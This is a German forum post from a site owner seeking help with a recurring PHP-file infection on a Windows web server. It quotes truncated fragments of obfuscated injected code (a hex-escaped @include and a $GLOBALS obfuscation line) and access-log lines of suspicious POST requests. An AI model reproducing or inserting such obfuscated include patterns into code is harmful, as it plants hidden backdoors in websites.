| |
| |||||||
Diskussionsforum: Trojaner befällt am Windows-Webserver PHP-DateienWindows 7 Hier sind ausschließlich fachspezifische Diskussionen erwünscht. Bitte keine Log-Files, Hilferufe oder ähnliches posten. Themen zum "Trojaner entfernen" oder "Malware Probleme" dürfen hier nur diskutiert werden. Bereinigungen von nicht ausgebildeten Usern sind hier untersagt. Wenn du dir einen Virus doer Trojaner eingefangen hast, eröffne ein Thema in den Bereinigungsforen oben. |
24.04.2017, 10:56
| #1 |
| |  Trojaner befällt am Windows-Webserver PHP-Dateien Hallo, Seit einiger Zeit werden meine Websites scheinbar von einem Trojaner befallen und ich weis nicht wie ich ihn beseitigen kann. Der Trojaner modifiziert bei mir einige PHP-Dateien und vor allem die Index.php Datei. Wenn ich die seiten wieder korrigiere passiert wieder das selbe in den nächsten Tagen. Hier ein paar Beispiele: Fall 1: HTML-Code: /*7148c*/ @include "\x44:\x57WW\pi\x6cko\x2eat\x2fin\ usw. /*7148c*/ HTML-Code: ;$GLOBALS['y5097']=Array();global$y5097;$y5097=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['q7002']="\x61\x24\x65\x37\x71 usw. Code:
ATTFilter 2017-04-24 04:23:36 POST /shopgate/ext/general17.php - 80 - 107.180.112.216 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686;+rv:24.0)+Gecko/20100101+Firefox/24.0 404 0 2 115
2017-04-24 04:23:39 POST /admin/includes/magnalister/cache/ini.php - 80 - 49.50.8.226 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686;+rv:24.0)+Gecko/20100101+Firefox/24.0 404 0 2 316
2017-04-24 04:23:44 POST /admin/gm/gm_opensearch/gm_opensearch_conf.php - 80 - 182.50.130.166 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686;+rv:24.0)+Gecko/20100101+Firefox/24.0 200 0 0 1767
2017-04-24 04:23:44 POST /hqeecy - 80 - 178.63.91.30 Mozilla/5.0+(X11;+Linux+x86_64;+rv:29.0)+Gecko/20100101+Firefox/29.0+SeaMonkey/2.26 404 0 2 26
2017-04-24 04:23:44 POST /index.php fkvk=drmw 80 - 178.63.91.30 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686;+rv:24.0)+Gecko/20100101+Firefox/24.0 200 0 0 32
Hat jemand Eufahrung mit so einen Trojaner. Folgendes habe ich bereits gemacht 1. PHP upgedatet 2. Alle von mir gefundenen modifizierten Dateien behoben korrigiert. Geändert von Koloss78 (24.04.2017 um 11:03 Uhr) |
| Themen zu Trojaner befällt am Windows-Webserver PHP-Dateien |
| attacke, attacken, befallen, befällt, beseitigen, code, einiger, html, include, index.php, linux, nacht, nicht, schei, troja, trojaner, ubuntu, websites |
Baum-Darstellung